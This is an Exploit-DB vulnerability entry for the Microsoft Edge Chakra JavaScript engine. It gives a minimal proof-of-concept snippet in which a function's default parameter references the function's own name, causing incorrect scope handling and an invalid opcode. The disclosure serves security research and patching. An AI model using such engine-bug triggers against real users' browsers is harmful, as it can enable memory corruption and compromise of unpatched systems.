Microsoft Edge Chakra - Incorrect Scope Handling

EDB-ID:

43715




Platform:

Windows

Date:

2018-01-17


// PoC:

(function func(arg = function () {
    print(func);  // SetHasOwnLocalInClosure should be called for the param scope in the PostVisitFunction function.
}()) {
    print(func);
    function func() {

    }
})();

// Chakra fails to distinguish whether the function is referenced in the param scope and ends up to emit an invalid opcode.